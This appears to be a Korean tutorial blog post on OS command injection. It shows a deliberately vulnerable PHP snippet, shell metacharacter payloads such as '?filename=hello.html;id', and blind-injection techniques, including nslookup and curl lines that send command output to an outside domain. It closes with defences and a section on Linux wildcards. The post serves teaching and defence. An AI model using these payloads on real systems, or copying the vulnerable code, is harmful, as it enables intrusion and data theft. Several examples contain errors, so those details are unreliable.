OS Injection
OS Command Injection 또는 Shell Injection은 웹 응용 프로그램이 구동 중인 웹 서버 운영체제에서 명령을 실행하는 취약점입니다 이때 웹 응용 프로그램은 HTTP 폼, HTTP 헤더, 쿠키와 GET 파라미터를 통해 사용자로부터 시스템 Shell을 전달받는데 사용자가 제공하는 입력 값에 대한 검증이 제대로 구현되어 있지 않다면 해당 취약점을 악용할 수 있습니다 이 취약점을 통해 명령어를 실행하면 웹 서버에 구동하는 계정의 권한으로 실행됩니다 이 계정의 권한으로 공격자의 권한을 상승시키거나 웹 응용 프로그램을 장악하여 데이터를 손상시킬 수 있습니다
즉 간단히 설명하자면 사용자가 웹 사이트에 쉘 실행 함수를 주입시켜 시스템 명령어를 실행하는 공격입니다
OS Injection의 공격 원리
웹 응용 프로그램은 운영체제 및 파일 시스템과 통신하기 위해 일부 기능들이 운영체제 명령어를 실행하는데 이런 기능들은 PHP, Java, Python 등에 개발 언어로 Shell과 연동되는 내장 함수를 제공합니다
일반적으로 system(), eval()과 같은 함수가 내장되는데 OS Injection은 사용자로부터 전달받은 Shell 함수 입력 값을 통해 웹 서버 운영체제에 명령어를 전달하고 실행 결과를 얻을 수 있습니다 하지만 OS Injection을 수행하기 위해서는 아래와 같은 조건이 충족되어야 합니다
- 사용자로부터 입력받은 데이터의 시스템 Shell 명령어가 포함되어 있어야 합니다
- 사용자로부터 입력받은 데이터가 삭제 처리 없이 정상적으로 Shell 명령어로 인식되어야 합니다
- 웹 응용 프로그램에서 작동 중인 계정이 시스템 명령을 실행할 수 있는 권한이 있어야 합니다
예를 들어 리눅스 환경에서 작동 중인 PHP 소스 코드를 살펴봅시다
<?php
echo "<p>filename 매개변수(GET)를 이용하여 조회할 파일의 이름을 입력하세요</p>";
$file = $_GET['filename'];
system("cat $file");
?>
system() 함수를 통해 cat 명령어 인자로 filename 파라미터 값이 실행되고 있습니다
사용자가 filename에 올바른 데이터를 입력한다면 지정된 파일 내용을 화면에 출력할 겁니다
<h2>Hello, seku</h2>
위에 소스 코드를 확인하기 위해 hello.html이라는 파일이 서버에 존재한다고 가정해 봅시다
해당 hello.html 파일을 조회하면 위에 사진과 같이 hello.html 파일 내용이 화면에 출력됩니다
즉 사용자가 hello.html 파일을 이용하여 Shell 명령어를 전달하면 system() 함수에서 cat hello.html 명령어가 작동되어 화면에 출력됩니다
소스코드를 살펴보면 GET 파라미터는 사용자가 직접 조작할 수 있습니다 이처럼 파일 이름이 아닌 다른 명령어도 작동시킬 수 있습니다 결국 해당 웹 페이지에서 OS Injection을 수행할 수 있습니다
메타 문자 | 기능 | 사용 예 |
cmd1 | cmd2 | 왼쪽 명령어 결과를 오른쪽 명령어의 입력으로 전달 | $ whoami | grep 's' musa |
cmd1 && cmd2 | 왼쪽 명령어가 실행되면 오른쪽 명령어를 실행함 | $ whoami & pwd musa /home/musa |
cmd || cmd2 | 왼쪽 명령어 실행이 실패하면 오른쪽 명령어를 실행함 | $ whoareyou || pwd whoareyou: 명령어를 찾을 수 없다 /home/musa |
cmd1;cmd2 | 한 줄에 여러 명령어를 사용할 떄 각각 명령어를 구분하기 위해 사용함 (리눅스, 유닉스만 가능) | $ whoami; pwd musa /home/musa |
'cmd' | ' 사이의 명령어의 실행 결과를 반환함 (리눅스, 유닉스만 가능) | $ echo 'whoami' musa |
$(cmd) | $() 안에 명령어의 실행 결과를 반환함 (리눅스, 유닉스만 가능) | $ echo $(whoami) musa |
cmd > \현재경로 | 왼쪽 명령어 결과를 오른쪽 파일로 기록함 (리눅스, 유닉스만 가능) | $ whoami > \var\whoami.txt |
\현재 경로 < cmd | 오른쪽 명령어 결과를 왼쪽 파일로 기록함 (리눅스, 유닉스만 가능) | $ \var\whoami.txt < whoami |
표와 같이 메타 문자라는 특수 문자를 사용하여 OS Injection을 수행할 수 있습니다 결국 웹 응용 프로그램에서 사용자가 제공하는 입력 값에 대한 검증이 제대로 구현되어 있지 않다면 해당 메타 문자를 이용하여 OS Injection을 작동시킬 수 있습니다
http://www.example.com/ex.php?filename=hello.html;id
그러면 위에 표에 해당하는 메타 문자를 이용하여 /ex.php?filename=hello.html 뒤에 세미콜론(;)과 id 명령어를 추가하여 작성할 수 있습니다
결과적으로 위에 사진과 같이 OS Injection을 통해 기존에 hello.html 파일과 id 명령어가 동시에 실행됩니다 만약 id 명령어가 아닌 리눅스 명령어에서 루트 디렉터리를 제거하는 명령어를 실행시킨다면 웹 서버는 치명적인 손해를 입을 수 있습니다
OS Injection의 종류
OS Injection의 종류는 아래와 같이 3가지로 나뉩니다
직접 명령 인젝션 (Direct Command Injection)
- 앞서 설명한 (ex.php)처럼 사용자가 입력한 데이터에 OS 명령 인자가 직접 포함되어 있는 경우를 말합니다
간접 명령 인젝션 (Indirect Command Injection)
- 파일이나 환경 변수를 통해 웹 응용 프로그램의 시스템 Shell로 OS 명령어가 전달되는 경우를 말한다
- 보통 윈도우 운영체제일 때 사용 가능하다
- Forfiles, pcalue.exe 등 CMD를 사용하지 않고 명령어를 호출할 수 있는 유틸리티를 사용할 수 있다
블라인드 명령 인젝션 (Blind Command Injection)
- 사용자의 입력 데이터가 OS 명령어에 포함되어 시스템 Shell로 전달되어 실행되지만 직접 명령 인젝션과 달리 HTTP 응답 메시지에 명령 실행 결과가 표시되지 않는 경우를 말한다
블라인드 명령 인젝션을 위한 기술들은 아래와 같다
시간 지연 기술
- sleep(리눅스, 유닉스만 가능) 혹은 Loopback Ping 명령어를 사용할 수 있다
- sleep이나 ping 명령어는 웹 응용프로그램의 응답 시간을 의도적으로 늦출 수 있어 해당 취약점을 발견하기 위해서는 주기적으로 속도 저하를 체크해야 합니다
출력 리다이렉팅 기술
- 앞서 OS Injection 원리에서 설명한 메타 태그 > 문자를 이용하여 웹 루트 혹은 하위 경로에 파일을 기록(리다이렉팅)하고 해당 파일의 URL을 조회하여 파일이 정상적으로 기록되어 있으면 성공하는 기술이다
- 예를 들어 & echo 'musa' > /var/www/html/test.txt & 명령어를 작동하면 웹 루트 /var/www/html/ 위치에 test.txt 파일이 생성되는데 https://www.example.com/test.txt를 방문하여 'musa'라는 문자열이 해당 URL에 출력된다면 명령 인젝션 공격에 취약하다고 볼 수 있습니다
- 단 리다이렉팅 기술은 디렉터리에 대한 읽기와 쓰기 권한이 있어야 합니다
대역 외(Out Of Band) 채널
- 취약한 서버를 공격자가 제어할 수 있는 외부 서버와 통신하도록 유도하여 통신 기록을 확인함으로써 임의의 OS 명령어를 주입하여 실행됐는지 확인하는 기술이다
- DNS 조회할 수 있는 nslookup 명령어 또는 curl 명령어를 이용할 수 있다
nslookup 명령어는 'nslookup musa.com'처럼 사용하는데 & nslookup '실행할 명령어'.musa.com & 이런 식으로 명령어를 주입시킬 수 있습니다 즉 실행할 명령어 자리에 'echo 'musa''를 사용한다고 하면 musa.com 도메인에서 musa.musa.com에 대한 DNS 조회를 할 수 있습니다 여기서 musa 말고 다른 OS 명령어를 대입하면 DNS 조회를 통해 그 명령어에 실행 결과를 확인할 수 있습니다
curl 명령어도 비슷하게 & curl musa.coom/?q='실행할 명령어' & 형식으로 프록시 서버를 이용하여 GET 요청에서 '실행할 명령어'의 명령 결과를 확인할 수 있습니다
curl : (client url) 다양한 통신 프로토콜을 이용하여 데이터를 전송하기 위한 라이브러리와 명령 줄 도구입니다
OS Injection의 대응 방안
- OS Injection을 대응하기 위해서는 웹 응용 프로그램에서 사용자가 입력하는 값에 시스템 명령어 system(), exec(), eval() 등이 실행되지 않도록 해야 합니다
- 사용자가 전달하는 입력 값에 유효성 검사를 사용해야 합니다 ( 특정 명령어는 화이트 리스트 방식으로 추가함 )
- 만약 유효성 검사를 화이트 리스트 방식이 아닌 블랙 리스트 방식으로 대응한다면 서버의 운영체제에 따라 입력 값에 특수 문자들을 이스케이프 처리하거나 차단해야 합니다
- 윈도우 : 특수문자 앞에 '^' 기호를 추가하여 이스케이프 처리하거나 차단한다
- 리눅스 혹은 유닉스 : 특수문자 앞에 '\' 기호를 추가하여 이스케이프 처리하거나 차단한다
리눅스 와일드카드 문자
와일드카드 문자 기능은 여러 파일을 지정할 목적으로 사용되는 기호인데 주로 특정한 패턴이 있는 문자열 혹은 파일을 찾는데 사용됩니다 리눅스에 대표적인 와일드카드 종류는 '*' 와 '?', '[]' 가 있습니다
예시로 리눅스 파일에 현재 디렉터리 내용을 확인하는 ls 명령어와 같이 사용해 보면 아래와 같습니다
//와일드카드 *와 ls 같이 사용하기
$ls * //현재 디렉터리에 있는 모든 파일 리스트를 출력한다
$ls *.s //현재 디렉터리에 있는 .s 파일 리스트를 출력한다
$ls musa* //현재 디렉터리에 musa로 시작하는 모든 파일을 출력한다
$ls *musa* //현재 디렉터리에서 musa가 들어 있는 모든 파일을 출력한다
* 와일드카드는 특정 문자와 일치하는 모든 '문자열'을 찾아주는 역할을 합니다 (단 와일드카드는 따옴표 안에 작성되면 문자열 처리가 되므로 연산자처럼 사용해야 합니다)
그다음 ? 와일드카드를 살펴보겠습니다
//와일드카드 ?와 ls 같이 사용하기
//현재 디렉터리에 다음과 같이 파일이 존재할 때 : musa.c testhello.txt, hi, hi2, hi3
$ls m???.c // musa.c 출력
$ls h? // hi, hi2, hi3 출력
$ls ??? // hi, hi2, hi3 출력
$ls ?esthell?.t?t // testhello.txt 출력
m???.c는 ? 자리에 문자를 몰라도 해당 위치에 파일이 존재한다면 파일을 출력할 수 있습니다
//와일드카드 []와 ls 같이 사용하기
//현재 디렉터리에 다음과 같이 파일이 존재할 때 : musa.c, testhello.txt, hi1, hi2, hi3
$ls [hi]* // hi1, hi2, hi3 출력
$ls [hi][1-3] // hi1, hi2, hi3 출력
$ls [mu]* // musa.c 만 출력되는게 아니라 mu로 시작되는 파일을 모두 출력
$ls *[2-3] // hi2, hi3 출력
와일드카드 []는 [] 안에 들어있는 문자열의 패턴과 일치하는 것을 찾아줍니다
예시와 같이 [mu] 패턴을 넣으면 mu로 시작하는 파일을 찾아줍니다
이처럼 와일드카드를 사용하면 파일을 하나씩 찾는 것보다 원하는 파일을 효율적으로 찾아낼 수 있습니다
[ 참고 자료 ]